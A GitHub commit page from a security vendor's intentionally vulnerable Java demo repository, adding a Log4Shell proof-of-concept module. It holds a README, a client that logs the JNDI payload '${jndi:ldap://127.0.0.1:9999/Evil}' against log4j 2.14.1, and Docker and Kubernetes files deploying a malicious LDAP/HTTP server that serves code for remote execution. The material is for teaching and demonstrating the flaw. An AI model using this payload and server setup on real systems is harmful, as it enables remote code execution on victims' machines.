Skip to content

Commit c9735dd

Browse files
authored
Merge pull request snyk-labs#367 from snyk-labs/module_refactor
Made java-goof top level module. Moved all the todolist stuff into a todolist-goof module.
2 parents eff37ca + a95d95d commit c9735dd

File tree

147 files changed

+5225
-136
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

147 files changed

+5225
-136
lines changed

.gitignore

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
11
*.iml
22
.idea
3-
*/target/**
3+
**/target/**
44
**/.DS_Store

README.md

Lines changed: 4 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -1,46 +1,8 @@
11
## Java Goof
22

3-
A vulnerable demo application, initially based on [Ben Hassine](https://github.com/benas/)'s [TodoMVC](https://github.com/benas/todolist-mvc).
3+
This is a collection of Java demo apps that are vulnerable in different ways.
44

5-
The goal of this application is to demonstrate through example how to find, exploit and fix vulnerable Maven packages.
5+
It's divided into modules, each one having its own README:
66

7-
This repo is still incomplete, a work in progress to support related presentations.
8-
9-
10-
## Build and run Todolist MVC
11-
12-
(from the original README)
13-
14-
### Local build and run
15-
16-
*Note that to run locally, you need JDK 8.*
17-
18-
1. Check out the project source code from github : `git clone https://github.com/snyk/java-goof.git`
19-
2. Open a terminal and run the following command from root directory : `mvn install`
20-
3. Choose a web framework to test and run it. For example : `cd todolist-web-struts && mvn tomcat7:run` (note: this example currently only copied the Struts demo)
21-
4. Browse the following URL : `localhost:8080/`
22-
5. You can register a new account or login using the following credentials : [email protected] / foobar
23-
24-
### Build and run with docker-compose
25-
26-
*Note, we run build on and a Tomcat 8.5 image here to support tomcat-rce base image demo.*
27-
```bash
28-
docker-compose up --build
29-
docker-compose down
30-
```
31-
32-
## Deploy Application on Heroku
33-
34-
- [Heroku instructions](DEPLOY_HEROKU.md)
35-
36-
## Open source vulnerability exploit
37-
38-
TODO
39-
40-
## Container base image vulnerability exploit
41-
42-
- [Container base image exploit instructions](exploits/tomcat-rce/README.md)
43-
44-
## License
45-
This repo is available released under the [MIT License](http://opensource.org/licenses/mit-license.php/).
46-
# java-goof
7+
* [Todolist Goof](todolist-goof/README.md)
8+
* [Log4Shell Goof](log4shell-goof/README.md)

log4shell-goof/README.md

Lines changed: 98 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
## Log4Shell Goof
2+
3+
The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`.
4+
5+
This repo is based on the excellent proof-of-concept published by [BrianV](https://github.com/bmvermeer/log4jexploit/).
6+
The PoC is a great starting point. This project expands on it by fleshing it out into a fully standalone demo.
7+
8+
For more information about the exploit and the mechanics of how it works,
9+
[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/).
10+
11+
### Requirements
12+
13+
You'll need one of the following Java SDKs:
14+
* 11.0.1 or earlier
15+
* 8u191 or earlier
16+
* 7u201 or earlier
17+
* 6u211 or earlier
18+
19+
Java SDKs newer than those versions don't have the same vulnerability.
20+
21+
### Building the PoC
22+
23+
In the root folder, run:
24+
25+
```
26+
mvn clean install
27+
```
28+
29+
**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven.
30+
31+
### Running the PoC
32+
33+
This repo has two modules: server and client.
34+
35+
The server module runs a lean LDAP & HTTP server.
36+
37+
The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a
38+
Java class that will be deserialized and executed.
39+
40+
The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`.
41+
42+
`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While
43+
the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it
44+
writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine.
45+
46+
This PoC should run as-is on Linux or Mac.
47+
48+
Open a terminal window and run the following:
49+
50+
```
51+
cd log4shell-server
52+
mvn exec:java -Dexec.mainClass="Server"
53+
```
54+
55+
You should see output that looks like the following:
56+
57+
```
58+
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server ---
59+
LDAP server listening on 0.0.0.0:9999
60+
HTTP server listening on 0.0.0.0:8000
61+
```
62+
63+
In another terminal window, run the following:
64+
65+
```
66+
cd log4shell-client
67+
JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \
68+
mvn exec:java -Dexec.mainClass="Main"
69+
```
70+
71+
**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions.
72+
For example, you can download JDK 8u111
73+
[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download
74+
and install the version for Mac, the above command will work for you.
75+
76+
You should see output that looks like the following:
77+
78+
```
79+
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client ---
80+
---------- JVM Props -------------
81+
java.vm.version=25.111-b14
82+
java.vm.vendor=Oracle Corporation
83+
java.vm.name=Java HotSpot(TM) 64-Bit Server VM
84+
java.vm.specification.name=Java Virtual Machine Specification
85+
java.vm.specification.vendor=Oracle Corporation
86+
java.vm.specification.version=1.8
87+
java.vm.info=mixed mode
88+
---------------------------------
89+
20:27:49.676 [Main.main()] ERROR Main - test
90+
/tmp/pwned DOES NOT EXIST
91+
20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil}
92+
/tmp/pwned EXISTS - yah been pwned!
93+
```
94+
95+
**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the
96+
`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the
97+
client app to work properly. The file not being there and then being present after the attack is how it knows it's
98+
been successful.
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
<parent>
5+
<artifactId>log4shell-poc</artifactId>
6+
<groupId>io.snyk</groupId>
7+
<version>0.0.1-SNAPSHOT</version>
8+
</parent>
9+
10+
<artifactId>log4shell-client</artifactId>
11+
<version>0.0.1-SNAPSHOT</version>
12+
13+
<name>Java Goof :: Log4Shell Goof :: Log4Shell Client</name>
14+
<url>https://snyk.io</url>
15+
16+
<properties>
17+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
18+
<maven.compiler.source>8</maven.compiler.source>
19+
<maven.compiler.target>8</maven.compiler.target>
20+
</properties>
21+
22+
<dependencies>
23+
<dependency>
24+
<groupId>org.apache.logging.log4j</groupId>
25+
<artifactId>log4j-core</artifactId>
26+
<version>2.14.1</version>
27+
</dependency>
28+
<dependency>
29+
<groupId>org.apache.logging.log4j</groupId>
30+
<artifactId>log4j-api</artifactId>
31+
<version>2.14.1</version>
32+
</dependency>
33+
</dependencies>
34+
</project>
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
import org.apache.logging.log4j.LogManager;
2+
import org.apache.logging.log4j.Logger;
3+
4+
import java.io.File;
5+
6+
public class Main {
7+
8+
private static final String PWN_FILE = "/tmp/pwned";
9+
private static final Logger logger = LogManager.getLogger(Main.class);
10+
11+
public static void main(String[] args) throws InterruptedException {
12+
showJavaStats();
13+
logger.error("test");
14+
checkTmp(false);
15+
logger.error("Output:" + "${jndi:ldap://127.0.0.1:9999/Evil}");
16+
// give a beat for the file to be written
17+
Thread.sleep(1000);
18+
checkTmp(true);
19+
}
20+
21+
public static void showJavaStats() {
22+
System.out.println("---------- JVM Props -------------");
23+
System.getProperties().entrySet().stream()
24+
.filter(entry -> ((String)entry.getKey()).startsWith("java.vm."))
25+
.forEach(System.out::println);
26+
System.out.println("---------------------------------");
27+
}
28+
29+
public static void checkTmp(boolean shouldExist) {
30+
File f = new File(PWN_FILE);
31+
if (shouldExist != f.exists()) {
32+
String exStr = String.format(
33+
"\n\tUnexpected state." +
34+
"\n\tMake sure to remove %s between runs." +
35+
"\n\tMake sure Server is running." +
36+
"\n\tMake sure you JVM is <= 11.0.1 or 8u191 or 7u201 or 6u211",
37+
PWN_FILE
38+
);
39+
throw new RuntimeException(exStr);
40+
}
41+
System.out.println(String.format("%s %s", PWN_FILE, f.exists()?"EXISTS - yah been pwned!":"DOES NOT EXIST"));
42+
}
43+
}
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
FROM maven:3-jdk-8-slim as build
2+
COPY . .
3+
RUN --mount=target=$HOME/.m2,type=cache mvn clean compile assembly:single
4+
5+
FROM openjdk:8 as ldap
6+
COPY --from=build target/*.jar /server.jar
7+
EXPOSE 8000
8+
EXPOSE 9999
9+
10+
CMD ["java", "-jar", "/server.jar", "http://evil.darkweb:9999/#Vandalize", "8000", "9999", "Vandalize.class"]
11+
Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
---
2+
apiVersion: v1
3+
kind: Namespace
4+
metadata:
5+
name: darkweb
6+
---
7+
apiVersion: apps/v1
8+
kind: Deployment
9+
metadata:
10+
labels:
11+
app: log4shell
12+
name: log4shell
13+
namespace: darkweb
14+
spec:
15+
replicas: 1
16+
selector:
17+
matchLabels:
18+
app: log4shell
19+
template:
20+
metadata:
21+
labels:
22+
app: log4shell
23+
spec:
24+
containers:
25+
- name: ldap
26+
image: ${DOCKER_ACCOUNT}/log4shell-server:latest
27+
---
28+
apiVersion: v1
29+
kind: Service
30+
metadata:
31+
name: ldap
32+
namespace: darkweb
33+
spec:
34+
selector:
35+
app: log4shell
36+
ports:
37+
- protocol: TCP
38+
port: 80
39+
targetPort: 8000
40+
---
41+
apiVersion: v1
42+
kind: Service
43+
metadata:
44+
name: evil
45+
namespace: darkweb
46+
spec:
47+
selector:
48+
app: log4shell
49+
ports:
50+
- protocol: TCP
51+
port: 9999
52+
targetPort: 9999
53+
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
#!/usr/bin/env bash
2+
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input
3+
name="${input:-$DOCKER_ACCOUNT}"
4+
5+
echo "📦 Building image ${DOCKER_ACCOUNT}/log4shell-server:latest ..."
6+
docker build -t ${DOCKER_ACCOUNT}/log4shell-server:latest .
7+
echo
8+
echo "🚚 Pushing image to DockerHub..."
9+
docker push ${DOCKER_ACCOUNT}/log4shell-server:latest
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
#!/usr/bin/env bash
2+
MYDIR=$(dirname $0)
3+
echo "Removing app from kubernetes..."
4+
kubectl delete -f $MYDIR/deploy.yaml
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
#!/usr/bin/env bash
2+
MYDIR=$(dirname $0)
3+
read -e -i "${DOCKER_ACCOUNT}" -p "Please enter your DockerHub user/account name: " input
4+
name="${input:-$DOCKER_ACCOUNT}"
5+
6+
cat $MYDIR/deploy.yaml | envsubst | kubectl apply -f -
7+
8+
echo "⌚️ Waiting for pod deployment..."
9+
kubectl wait --namespace=darkweb \
10+
--for=condition=ready pod \
11+
--selector=app=log4shell \
12+
--timeout=90s
13+
14+
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
3+
<modelVersion>4.0.0</modelVersion>
4+
5+
<groupId>io.snyk</groupId>
6+
<artifactId>log4shell-server</artifactId>
7+
<version>0.0.1-SNAPSHOT</version>
8+
9+
<name>Java Goof :: Log4Shell Goof :: Log4Shell Server</name>
10+
<url>https://snyk.io</url>
11+
12+
<properties>
13+
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
14+
<maven.compiler.source>8</maven.compiler.source>
15+
<maven.compiler.target>8</maven.compiler.target>
16+
</properties>
17+
18+
<dependencies>
19+
<dependency>
20+
<groupId>org.apache.logging.log4j</groupId>
21+
<artifactId>log4j-core</artifactId>
22+
<version>2.15.0</version>
23+
</dependency>
24+
<dependency>
25+
<groupId>com.unboundid</groupId>
26+
<artifactId>unboundid-ldapsdk</artifactId>
27+
<version>3.1.1</version>
28+
</dependency>
29+
<dependency>
30+
<groupId>io.undertow</groupId>
31+
<artifactId>undertow-core</artifactId>
32+
<version>2.2.13.Final</version>
33+
</dependency>
34+
</dependencies>
35+
<build>
36+
<plugins>
37+
<plugin>
38+
<artifactId>maven-assembly-plugin</artifactId>
39+
<configuration>
40+
<archive>
41+
<manifest>
42+
<mainClass>Server</mainClass>
43+
</manifest>
44+
</archive>
45+
<descriptorRefs>
46+
<descriptorRef>jar-with-dependencies</descriptorRef>
47+
</descriptorRefs>
48+
</configuration>
49+
</plugin>
50+
</plugins>
51+
</build>
52+
</project>

0 commit comments

Comments
 (0)